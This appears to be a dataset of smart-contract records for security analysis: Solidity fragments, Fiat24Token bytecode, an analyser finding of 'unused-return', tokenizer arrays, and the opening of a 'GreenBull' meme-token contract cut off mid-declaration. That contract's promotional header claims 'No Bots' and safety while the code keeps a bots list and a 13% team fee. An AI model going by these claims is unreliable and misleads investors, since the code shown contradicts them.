whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library StringsUpgradeable { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } }
0x608060405234801561001057600080fd5b50600436106101805760003560e01c806306fdde0314610185578063095ea7b31461020257806318160ddd1461024257806323b872dd1461025c578063248a9ca3146102925780632f2ff15d146102af578063313ce567146102dd57806336568abe146102fb57806339509351146103275780633f4ba83a1461035357806342966c681461035b5780635c975abb1461037857806370a08231146103805780637a1ac61e146103a65780638456cb59146103d85780638c04b2f6146103e05780638c1ecb93146104165780639010d07c1461043357806391d148541461047257806395d89b411461049e578063a0712d68146104a6578063a1c309ed146104c3578063a217fddf146104e0578063a457c2d7146104e8578063a9059cbb14610514578063ca15c87314610540578063cd2446431461055d578063d547741f14610589578063dd62ed3e146105b5578063e89082b3146105e3578063f5b541a614610606578063f6fa69d81461060e575b600080fd5b61018d61062b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101c75781810151838201526020016101af565b50505050905090810190601f1680156101f45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61022e6004803603604081101561021857600080fd5b506001600160a01b0381351690602001356106c2565b604080519115158252519081900360200190f35b61024a6106e0565b60408051918252519081900360200190f35b61022e6004803603606081101561027257600080fd5b506001600160a01b038135811691602081013590911690604001356106e6565b61024a600480360360208110156102a857600080fd5b5035610774565b6102db600480360360408110156102c557600080fd5b50803590602001356001600160a01b0316610789565b005b6102e56107f5565b6040805160ff9092168252519081900360200190f35b6102db6004803603604081101561031157600080fd5b50803590602001356001600160a01b03166107fe565b61022e6004803603604081101561033d57600080fd5b506001600160a01b03813516906020013561085f565b6102db6108b3565b6102db6004803603602081101561037157600080fd5b5035610908565b61022e6109fa565b61024a6004803603602081101561039657600080fd5b50356001600160a01b0316610a03565b6102db600480360360608110156103bc57600080fd5b506001600160a01b038135169060208101359060400135610a1e565b6102db610b0f565b61022e600480360360608110156103f657600080fd5b506001600160a01b03813581169160208101359091169060400135610b62565b6102db6004803603602081101561042c57600080fd5b5035610f47565b6104566004803603604081101561044957600080fd5b5080359060200135610fbb565b604080516001600160a01b039092168252519081900360200190f35b61022e6004803603604081101561048857600080fd5b50803590602001356001600160a01b0316610fd9565b61018d610ff7565b6102db600480360360208110156104bc57600080fd5b5035611058565b61024a600480360360208110156104d957600080fd5b5035611147565b61024a6111cb565b61022e600480360360408110156104fe57600080fd5b506001600160a01b0381351690602001356111d0565b61022e6004803603604081101561052a57600080fd5b506001600160a01b03813516906020013561123e565b61024a6004803603602081101561055657600080fd5b503561171a565b6102db6004803603604081101561057357600080fd5b506001600160a01b038135169060200135611731565b6102db6004803603604081101561059f57600080fd5b50803590602001356001600160a01b03166117f3565b61024a600480360360408110156105cb57600080fd5b506001600160a01b038135811691602001351661184c565b61022e600480360360408110156105f957600080fd5b5080359060200135611877565b61024a6118fc565b6102db6004803603602081101561062457600080fd5b5035611921565b60368054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106b75780601f1061068c576101008083540402835291602001916106b7565b820191906000526020600020905b81548152906001019060200180831161069a57829003601f168201915b505050505090505b90565b60006106d66106cf611995565b8484611999565b5060015b92915050565b60355490565b60006106f3848484611a85565b610769846106ff611995565b61076485604051806060016040528060288152602001612c2e602891396001600160a01b038a1660009081526034602052604081209061073d611995565b6001600160a01b03168152602081019190915260400160002054919063ffffffff611bdc16565b611999565b5060015b9392505050565b600090815260c9602052604090206002015490565b600082815260c960205260409020600201546107ac906107a7611995565b610fd9565b6107e75760405162461bcd60e51b815260040180806020018281038252602f815260200180612a77602f913960400191505060405180910390fd5b6107f18282611c73565b5050565b60385460ff1690565b610806611995565b6001600160a01b0316816001600160a01b0316146108555760405162461bcd60e51b815260040180806020018281038252602f815260200180612d51602f913960400191505060405180910390fd5b6107f18282611ce2565b60006106d661086c611995565b84610764856034600061087d611995565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff611d5116565b6108be600033610fd9565b6108fe576040805162461bcd60e51b815260206004820152600c60248201526b2737ba1030b71030b236b4b760a11b604482015290519081900360640190fd5b610906611da9565b565b604080516c4f50455241544f525f524f4c4560981b8152905190819003600d0190206109349033610fd9565b610977576040805162461bcd60e51b815260206004820152600f60248201526e2737ba1030b71037b832b930ba37b960891b604482015290519081900360640190fd5b60fd54604080516331a9108f60e11b8152612390600482015290516109f7926001600160a01b031691636352211e916024808301926020929190829003018186803b1580156109c557600080fd5b505afa1580156109d9573d6000803e3d6000fd5b505050506040513d60208110156109ef57600080fd5b505182611e49565b50565b60655460ff1690565b6001600160a01b031660009081526033602052604090205490565b600054610100900460ff1680610a375750610a37611f3f565b80610a45575060005460ff16155b610a805760405162461bcd60e51b815260040180806020018281038252602e815260200180612bdf602e913960400191505060405180910390fd5b600054610100900460ff16158015610aab576000805460ff1961ff0019909116610100171660011790555b610af7846040518060400160405280600a8152602001690466961743234204742560b41b8152506040518060400160405280600581526020016411d0940c8d60da1b8152508686611f50565b8015610b09576000805461ff00191690555b50505050565b610b1a600033610fd9565b610b5a576040805162461bcd60e51b815260206004820152600c60248201526b2737ba1030b71030b236b4b760a11b604482015290519081900360640190fd5b610906612080565b60fd5460408051635c975abb60e01b815290516000926001600160a01b031691635c975abb916004808301926020929190829003018186803b158015610ba757600080fd5b505afa158015610bbb573d6000803e3d6000fd5b505050506040513d6020811015610bd157600080fd5b505115610c25576040805162461bcd60e51b815260206004820181905260248201527f416c6c206163636f756e74207472616e73666572732061726520706175736564604482015290519081900360640190fd5b610c2d6109fa565b15610c695760405162461bcd60e51b8152600401808060200182810382526031815260200180612a016031913960400191505060405180910390fd5b6001600160a01b03841615801590610c8957506001600160a01b03831615155b1561076d5781610c9885610a03565b1015610ca65750600061076d565b6000610cb184610a03565b60fd54604080516302af047960e41b81526001600160a01b0389811660048301529151938701945060009384939290921691632af0479091602480820192602092909190829003018186803b158015610d0957600080fd5b505afa158015610d1d573d6000803e3d6000fd5b505050506040513d6020811015610d3357600080fd5b505190508015610dbc5760fd54604080516342d21ef760e01b81526004810184905290516001600160a01b03909216916342d21ef791602480820192602092909190829003018186803b158015610d8957600080fd5b505afa158015610d9d573d6000803e3d6000fd5b505050506040513d6020811015610db357600080fd5b50519150610dc1565b600291505b60fd54604080516302af047960e41b81526001600160a01b038981166004830152915160009384931691632af04790916024808301926020929190829003018186803b158015610e1057600080fd5b505afa158015610e24573d6000803e3d6000fd5b505050506040513d6020811015610e3a57600080fd5b505190508015610ec35760fd54604080516342d21ef760e01b81526004810184905290516001600160a01b03909216916342d21ef791602480820192602092909190829003018186803b158015610e9057600080fd5b505afa158015610ea4573d6000803e3d6000fd5b505050506040513d6020811015610eba57600080fd5b50519150610ec8565b600291505b6000846004811115610ed657fe5b148015610f2657506000826004811115610eec57fe5b1480610f0357506001826004811115610f0157fe5b145b80610f2657506002826004811115610f1757fe5b148015610f26575060fb548511155b15610f395760019550505050505061076d565b60009550505050505061076d565b604080516c4f50455241544f525f524f4c4560981b8152905190819003600d019020610f739033610fd9565b610fb6576040805162461bcd60e51b815260206004820152600f60248201526e2737ba1030b71037b832b930ba37b960891b604482015290519081900360640190fd5b60fc55565b600082815260c96020526040812061076d908363ffffffff61210316565b600082815260c96020526040812061076d908363ffffffff61210f16565b60378054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106b75780601f1061068c576101008083540402835291602001916106b7565b604080516c4f50455241544f525f524f4c4560981b8152905190819003600d0190206110849033610fd9565b6110c7576040805162461bcd60e51b815260206004820152600f60248201526e2737ba1030b71037b832b930ba37b960891b604482015290519081900360640190fd5b60fd54604080516331a9108f60e11b815261238d600482015290516109f7926001600160a01b031691636352211e916024808301926020929190829003018186803b15801561111557600080fd5b505afa158015611129573d6000803e3d6000fd5b505050506040513d602081101561113f57600080fd5b505182612124565b60fd54604080516331a9108f60e11b81526004810184905290516000926106da926001600160a01b0390911691636352211e91602480820192602092909190829003018186803b15801561119a57600080fd5b505afa1580156111ae573d6000803e3d6000fd5b505050506040513d60208110156111c457600080fd5b5051610a03565b600081565b60006106d66111dd611995565b8461076485604051806060016040528060258152602001612d2c6025913960346000611207611995565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff611bdc16565b60fd54604080516331a9108f60e11b815261238e600482015290516000926001600160a01b031691636352211e916024808301926020929190829003018186803b15801561128b57600080fd5b505afa15801561129f573d6000803e3d6000fd5b505050506040513d60208110156112b557600080fd5b50516001600160a01b0384811691161415611399576113086112d5611995565b8461130360fc54604051806060016040528060278152602001612ce06027913987919063ffffffff611bdc16565b611a85565b611394611313611995565b60fd54604080516331a9108f60e11b81526123f2600482015290516001600160a01b0390921691636352211e91602480820192602092909190829003018186803b15801561136057600080fd5b505afa158015611374573d6000803e3d6000fd5b505050506040513d602081101561138a57600080fd5b505160fc54611a85565b6106d6565b60fd54604080516370a0823160e01b81526001600160a01b038681166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b1580156113ea57600080fd5b505afa1580156113fe573d6000803e3d6000fd5b505050506040513d602081101561141457600080fd5b5051118015611509575060fd54604080516302af047960e41b81526001600160a01b0386811660048301529151919092169163701eec93918391632af04790916024808301926020929190829003018186803b15801561147357600080fd5b505afa158015611487573d6000803e3d6000fd5b505050506040513d602081101561149d57600080fd5b5051604080516001600160e01b031960e085901b1681526004810192909252516024808301926020929190829003018186803b1580156114dc57600080fd5b505afa1580156114f0573d6000803e3d6000fd5b505050506040513d602081101561150657600080fd5b50515b156117085760fd54604080516302af047960e41b81526001600160a01b03868116600483015291516000936116209361271093611614939190921691639ffa6e97918391632af04790916024808301926020929190829003018186803b15801561157257600080fd5b505afa158015611586573d6000803e3d6000fd5b505050506040513d602081101561159c57600080fd5b5051604080516001600160e01b031960e085901b1681526004810192909252516024808301926020929190829003018186803b1580156115db57600080fd5b505afa1580156115ef573d6000803e3d6000fd5b505050506040513d602081101561160557600080fd5b5051869063ffffffff61221016565b9063ffffffff61226916565b9050600a81106116f057611661611635611995565b8561130384604051806060016040528060258152602001612d076025913988919063ffffffff611bdc16565b6116eb61166c611995565b60fd54604080516331a9108f60e11b81526123f1600482015290516001600160a01b0390921691636352211e91602480820192602092909190829003018186803b1580156116b957600080fd5b505afa1580156116cd573d6000803e3d6000fd5b505050506040513d60208110156116e357600080fd5b505183611a85565b611702565b6117026116fb611995565b8585611a85565b506106d6565b6106d6611713611995565b8484611a85565b600081815260c9602052604081206106da906122cd565b604080516c4f50455241544f525f524f4c4560981b8152905190819003600d01902061175d9033610fd9565b6117a0576040805162461bcd60e51b815260206004820152600f60248201526e2737ba1030b71037b832b930ba37b960891b604482015290519081900360640190fd5b60fd54604080516331a9108f60e11b815261238f600482015290516107f19285926001600160a01b0390911691636352211e91602480820192602092909190829003018186803b1580156116b957600080fd5b600082815260c96020526040902060020154611811906107a7611995565b6108555760405162461bcd60e51b8152600401808060200182810382526030815260200180612b826030913960400191505060405180910390fd5b6001600160a01b03918216600090815260346020908152604080832093909416825291909152205490565b60fd54604080516331a9108f60e11b815260048101859052905160009261076d926001600160a01b0390911691636352211e91602480820192602092909190829003018186803b1580156118ca57600080fd5b505afa1580156118de573d6000803e3d6000fd5b505050506040513d60208110156118f457600080fd5b50518361123e565b604080516c4f50455241544f525f524f4c4560981b8152905190819003600d01902081565b604080516c4f50455241544f525f524f4c4560981b8152905190819003600d01902061194d9033610fd9565b611990576040805162461bcd60e51b815260206004820152600f60248201526e2737ba1030b71037b832b930ba37b960891b604482015290519081900360640190fd5b60fb55565b3390565b6001600160a01b0383166119de5760405162461bcd60e51b8152600401808060200182810382526024815260200180612cbc6024913960400191505060405180910390fd5b6001600160a01b038216611a235760405162461bcd60e51b8152600401808060200182810382526022815260200180612b066022913960400191505060405180910390fd5b6001600160a01b03808416600081815260346020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316611aca5760405162461bcd60e51b8152600401808060200182810382526025815260200180612c976025913960400191505060405180910390fd5b6001600160a01b038216611b0f5760405162461bcd60e51b8152600401808060200182810382526023815260200180612a546023913960400191505060405180910390fd5b611b1a8383836122d8565b611b5d81604051806060016040528060268152602001612b28602691396001600160a01b038616600090815260336020526040902054919063ffffffff611bdc16565b6001600160a01b038085166000908152603360205260408082209390935590841681522054611b92908263ffffffff611d5116565b6001600160a01b038084166000818152603360209081526040918290209490945580518581529051919392871692600080516020612c5683398151915292918290030190a3505050565b60008184841115611c6b5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c30578181015183820152602001611c18565b50505050905090810190601f168015611c5d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082815260c960205260409020611c91908263ffffffff61256d16565b156107f157611c9e611995565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b600082815260c960205260409020611d00908263ffffffff61258216565b156107f157611d0d611995565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b60008282018381101561076d576040805162461bcd60e51b815260206004820152601b60248201527a536166654d6174683a206164646974696f6e206f766572666c6f7760281b604482015290519081900360640190fd5b611db16109fa565b611df9576040805162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015290519081900360640190fd5b6065805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa611e2c611995565b604080516001600160a01b039092168252519081900360200190a1565b6001600160a01b038216611e8e5760405162461bcd60e51b8152600401808060200182810382526021815260200180612c766021913960400191505060405180910390fd5b611e9a826000836122d8565b611edd81604051806060016040528060228152602001612aa6602291396001600160a01b038516600090815260336020526040902054919063ffffffff611bdc16565b6001600160a01b038316600090815260336020526040902055603554611f09908263ffffffff61259716565b6035556040805182815290516000916001600160a01b03851691600080516020612c568339815191529181900360200190a35050565b6000611f4a306125f4565b15905090565b600054610100900460ff1680611f695750611f69611f3f565b80611f77575060005460ff16155b611fb25760405162461bcd60e51b815260040180806020018281038252602e815260200180612bdf602e913960400191505060405180910390fd5b600054610100900460ff16158015611fdd576000805460ff1961ff0019909116610100171660011790555b611fe56125fa565b611fed6125fa565b611ff7858561269b565b6120016002612773565b612013600061200e611995565b6107e7565b604080516c4f50455241544f525f524f4c4560981b8152905190819003600d0190206120419061200e611995565b60fd80546001600160a01b0319166001600160a01b03881617905560fc82905560fb8390558015612078576000805461ff00191690555b505050505050565b6120886109fa565b156120cd576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6065805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258611e2c611995565b600061076d8383612789565b600061076d836001600160a01b0384166127ed565b6001600160a01b03821661217f576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b61218b600083836122d8565b60355461219e908263ffffffff611d5116565b6035556001600160a01b0382166000908152603360205260409020546121ca908263ffffffff611d5116565b6001600160a01b0383166000818152603360209081526040808320949094558351858152935192939192600080516020612c568339815191529281900390910190a35050565b60008261221f575060006106da565b8282028284828161222c57fe5b041461076d5760405162461bcd60e51b8152600401808060200182810382526021815260200180612c0d6021913960400191505060405180910390fd5b60008082116122bc576040805162461bcd60e51b815260206004820152601a602482015279536166654d6174683a206469766973696f6e206279207a65726f60301b604482015290519081900360640190fd5b8183816122c557fe5b049392505050565b60006106da82612805565b60fd60009054906101000a90046001600160a01b03166001600160a01b0316635c975abb6040518163ffffffff1660e01b815260040160206040518083038186803b15801561232657600080fd5b505afa15801561233a573d6000803e3d6000fd5b505050506040513d602081101561235057600080fd5b50511561238e5760405162461bcd60e51b815260040180806020018281038252602d815260200180612bb2602d913960400191505060405180910390fd5b6123966109fa565b156123d25760405162461bcd60e51b815260040180806020018281038252603e815260200180612ac8603e913960400191505060405180910390fd5b6001600160a01b038316158015906123f257506001600160a01b03821615155b8015612482575060fd54604080516331a9108f60e11b815261238f600482015290516001600160a01b0390921691636352211e91602480820192602092909190829003018186803b15801561244657600080fd5b505afa15801561245a573d6000803e3d6000fd5b505050506040513d602081101561247057600080fd5b50516001600160a01b03838116911614155b8015612512575060fd54604080516331a9108f60e11b815261238f600482015290516001600160a01b0390921691636352211e91602480820192602092909190829003018186803b1580156124d657600080fd5b505afa1580156124ea573d6000803e3d6000fd5b505050506040513d602081101561250057600080fd5b50516001600160a01b03848116911614155b1561255d57612522838383610b62565b61255d5760405162461bcd60e51b8152600401808060200182810382526034815260200180612b4e6034913960400191505060405180910390fd5b612568838383612809565b505050565b600061076d836001600160a01b038416612858565b600061076d836001600160a01b0384166128a2565b6000828211156125ee576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b3b151590565b600054610100900460ff16806126135750612613611f3f565b80612621575060005460ff16155b61265c5760405162461bcd60e51b815260040180806020018281038252602e815260200180612bdf602e913960400191505060405180910390fd5b600054610100900460ff16158015612687576000805460ff1961ff0019909116610100171660011790555b80156109f7576000805461ff001916905550565b600054610100900460ff16806126b457506126b4611f3f565b806126c2575060005460ff16155b6126fd5760405162461bcd60e51b815260040180806020018281038252602e815260200180612bdf602e913960400191505060405180910390fd5b600054610100900460ff16158015612728576000805460ff1961ff0019909116610100171660011790555b825161273b906036906020860190612968565b50815161274f906037906020850190612968565b506038805460ff191660121790558015612568576000805461ff0019169055505050565b6038805460ff191660ff92909216919091179055565b815460009082106127cb5760405162461bcd60e51b8152600401808060200182810382526022815260200180612a326022913960400191505060405180910390fd5b8260000182815481106127da57fe5b9060005260206000200154905092915050565b60009081526001919091016020526040902054151590565b5490565b612814838383612568565b61281c6109fa565b156125685760405162461bcd60e51b815260040180806020018281038252602a815260200180612d80602a913960400191505060405180910390fd5b600061286483836127ed565b61289a575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556106da565b5060006106da565b6000818152600183016020526040812054801561295e57835460001980830191908101906000908790839081106128d557fe5b90600052602060002001549050808760000184815481106128f257fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061292257fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506106da565b60009150506106da565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106129a957805160ff19168380011785556129d6565b828001600101855582156129d6579182015b828111156129d65782518255916020019190600101906129bb565b506129e29291506129e6565b5090565b6106bf91905b808211156129e257600081556001016129ec56fe416c6c206163636f756e74207472616e7366657273206f6620746869732063757272656e63792061726520706175736564456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647345524332303a207472616e7366657220746f20746865207a65726f2061646472657373416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f206772616e7445524332303a206275726e20616d6f756e7420657863656564732062616c616e6365466961743234546f6b656e3a20616c6c206163636f756e74207472616e7366657273206f6620746869732063757272656e6379206172652070617573656445524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365466961743234546f6b656e3a205472616e73666572206e6f7420616c6c6f77656420666f7220766172696f757320726561736f6e416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f207265766f6b65466961743234546f6b656e3a20616c6c206163636f756e74207472616e73666572732061726520706175736564496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373576974686472617720636861726765206578636565647320776974686472617720616d6f756e74436f6d6d697373696f6e206665652065786365656473207061796d656e7420616d6f756e7445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636520726f6c657320666f722073656c6645524332305061757361626c653a20746f6b656e207472616e73666572207768696c6520706175736564a2646970667358221220425585baeb06b1f13d12b63c92287b72164d82ae19b967202d2004cbcbdcadec64736f6c63430006020033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 15878, 2692, 20952, 2497, 2094, 2629, 12879, 2497, 3207, 2629, 9818, 2683, 2581, 2509, 6679, 10322, 2683, 2620, 2581, 17134, 12879, 2692, 2549, 15878, 28756, 2063, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 9413, 2278, 2581, 17465, 4502, 10383, 3468, 6279, 24170, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 3229, 1013, 3229, 8663, 13181, 7630, 26952, 13662, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 8860, 1013, 16648, 11253, 20023, 2102, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,518
0x96ec11b577ff587beae59c86bc6d7499cf1ff620
/* ░██████╗░██████╗░███████╗███████╗███╗░░██╗██████╗░██╗░░░██╗██╗░░░░░██╗░░░░░ ██╔════╝░██╔══██╗██╔════╝██╔════╝████╗░██║██╔══██╗██║░░░██║██║░░░░░██║░░░░░ ██║░░██╗░██████╔╝█████╗░░█████╗░░██╔██╗██║██████╦╝██║░░░██║██║░░░░░██║░░░░░ ██║░░╚██╗██╔══██╗██╔══╝░░██╔══╝░░██║╚████║██╔══██╗██║░░░██║██║░░░░░██║░░░░░ ╚██████╔╝██║░░██║███████╗███████╗██║░╚███║██████╦╝╚██████╔╝███████╗███████╗ ░╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚═╝░░╚══╝╚═════╝░░╚═════╝░╚══════╝╚══════╝ Web: www.greenbull.capital TG: t.me/GreenBullCapital Twitter: twitter.com/GreenBullETH BULLSEASON is back, degens!! Announcing… GREENBULL ($GBULL) Liquidity will be locked, ownership renounced. Safe MOON-MISSION. GET READY TO FLY!!! Brought to you by the Gangsta’Cat Squad, bringing the most based safe-launches. SLIPPAGE 16% - No bots on contract, you will Not be front-run. ☑️ Stealth-launch ☑️ Renounced contract ☑️ No max buy/sells after clean launch ☑️ Holding gets rewarded because of reflection ☑️ Locked liquidity ☑️ No Bots ☑️ Earn tokens holding $GBULL in your wallet. Team earns as well. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GreenBull is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "GreenBull.Capital"; string private constant _symbol = 'GBULL'; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 13; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event 